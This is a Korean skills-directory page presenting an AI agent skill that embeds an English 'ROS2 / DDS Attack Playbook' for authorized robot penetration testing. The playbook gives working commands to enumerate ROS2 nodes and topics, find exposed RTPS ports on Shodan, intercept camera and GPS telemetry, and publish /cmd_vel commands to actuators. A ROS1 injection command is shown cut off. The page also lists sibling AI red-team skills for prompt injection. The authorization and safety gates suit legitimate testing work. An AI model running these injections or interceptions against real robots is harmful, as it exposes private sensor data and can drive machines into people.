ros2-dds-attack
하는 일
이 가이드는 센서와 제어 메시지를 DDS로 공유하는 ROS2 로봇 네트워크의 보안 점검을 다룹니다. 메시지가 실제 로봇에 영향을 줄 수 있으므로 명시적 승인을 받은 로봇 팀과 테스터를 위한 것입니다.
사용하는 경우
- ✓로봇 팀이 같은 네트워크의 모든 장치에서 오는 트래픽을 로봇이 받아들이는지 확인하려는 경우.
- ✓허가된 평가에서 로봇이 발행하는 토픽 목록을 파악해야 할 때.
- ✓로봇이 실제 환경에서 작동 중이고 어떤 메시지든 물리적 피해를 줄 수 있는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“우리 로봇은 공유 네트워크에서 ROS2를 씁니다. 명령을 보내지 않고 다른 장치에 어떤 토픽이 보이는지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 네트워크 멀티캐스트 설정을 확인하고, 수동 관찰로 보이는 토픽과 노드를 나열하며, 다른 장치가 읽을 수 있는 내용을 보고합니다. 메시지는 발행하지 않습니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
ROS2 / DDS Attack Playbook
Authorized use only. ROS2 engagement requires explicit RoE scoping the robot platform as in-scope. Message injection on a live robot can cause physical harm. Confirm
safety_critical_confirmed=truein the active OPPLAN before any publish/inject step.
Background
ROS2 (Robot Operating System 2) uses DDS (Data Distribution Service) as its transport layer. By default, DDS operates in multicast discovery mode on the local network segment with no authentication and no encryption. Any host on the same subnet can enumerate all nodes and topics, subscribe to sensor streams, and publish commands to actuators. CAI's research on the Unitree G1 humanoid robot (2025) confirmed 20+ exposed ROS2/DDS topics carrying audio, video, GPS, and motor telemetry over an unauthenticated DDS domain.
Phase 1 — Discovery
Network prerequisites
ROS2 DDS discovery uses UDP multicast (239.255.0.1, port 7400 by default for Fast-DDS; 239.255.0.2 for CycloneDDS). The attacker machine must be on the same Layer-2 segment or the network must pass multicast.
# Verify multicast reachability
ip route show | grep -i multicast
ping -c 3 239.255.0.1
# Passive DDS traffic capture (identify domain IDs in use)
sudo tshark -i <iface> -Y rtps -T fields \
-e ip.src -e ip.dst -e rtps.domain_id -e rtps.guid_prefix \
-l 2>/dev/null | sort -u | head -40
ROS2 node and topic enumeration
If the attacker can install ros2 CLI tools (available in a Docker container
on the attacker host — no robot-side access required):
# Pull a minimal ROS2 humble image
docker run --rm --net=host \
ros:humble \
bash -c "source /opt/ros/humble/setup.bash && ros2 node list && ros2 topic list -t"
Without Docker, use the raw DDS discovery sniffer ddsspy or rtpspy:
# rclpy-based passive enumeration (Python, no ROS2 install on attacker)
pip install cyclonedds # pure-Python DDS implementation
python3 - <<'EOF'
import cyclonedds.core, cyclonedds.domain, cyclonedds.topic
import time
dp = cyclonedds.domain.Domain(0) # domain_id=0 is default
sub = cyclonedds.core.Subscriber(dp)
# List discovered topics after 10s passive window
time.sleep(10)
for t in dp.lookup_topicdescriptions():
print(t.name, t.type_name)
EOF
Shodan / Censys pivot (remote assessment)
Shodan indexes open DDS / RTPS ports. Query for exposed ROS2 stacks reachable from the Internet (rare but documented in robotics fleets):
shodan search 'port:7400 product:"RTPS"'
Phase 2 — Telemetry Interception
Subscribe to any topic without credentials:
docker run --rm --net=host ros:humble \
bash -c "source /opt/ros/humble/setup.bash && \
ros2 topic echo /camera/image_raw --no-arr | head -50"
# Capture raw DDS traffic for offline analysis
sudo tcpdump -i <iface> -w /tmp/ros2_capture.pcap \
'udp and (port 7400 or port 7401 or portrange 7410-7500)'
Topics of particular interest on robotic platforms:
| Topic pattern | Content |
|---|---|
/cmd_vel |
Velocity commands (Twist msg — direct actuator control) |
/joint_states |
Motor encoder data |
/camera/* |
Camera streams |
/gps/fix or /NavSatFix |
GPS telemetry |
/rosout |
System log (reveals software versions, errors) |
/tf / /tf_static |
Coordinate transform tree (reveals robot geometry) |
/diagnostics |
Hardware diagnostics |
Phase 3 — Message Injection (GATED — write-scope only)
STOP. Confirm
safety_critical_confirmed=true+ operator signature at/workspace/safety-attestation.txtbefore executing any publish command. A single malformed/cmd_velcan drive a robot into a person or off a ledge.
# Publish a zero-velocity stop command (safest inject for PoC)
docker run --rm --net=host ros:humble \
bash -c "source /opt/ros/humble/setup.bash && \
ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
'{linear: {x: 0.0}, angular: {z: 0.0}}'"
# For full PoC with a non-zero command (requires explicit PoC approval):
# ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
# '{linear: {x: 0.1}, angular: {z: 0.0}}'
MiR (Mobile Industrial Robot) ROS1 variant
MiR robots run ROS1 (not ROS2). The attack surface is the same but uses
rostopic / rosnode instead of ros2:
export ROS_MASTER_URI=http://<robot_ip>:11311
export ROS_IP=<attacker_ip>
rostopic list
rostopic echo /robot_state
# Inject alarm trigger
rostopic pub /mir_cmd_
자주 묻는 질문
DDS란 무엇인가요?
ROS2가 로봇 구성 요소 사이에서 메시지를 보낼 때 쓰는 전송 계층입니다.
탐색은 안전한가요?
수동 탐색이 첫 단계입니다. 가이드는 메시지 발행이나 주입에는 안전 확인이 필요하다고 말합니다.
왜 물리적 위험이 있나요?
가이드는 실제 로봇에 메시지를 주입하면 물리적 피해를 일으킬 수 있다고 설명합니다.
상세 정보
작성자의 원본 설명
ROS2/DDS network attack: unauthenticated topic enumeration, message injection, and telemetry interception against robotic platforms and autonomous systems.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14101
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.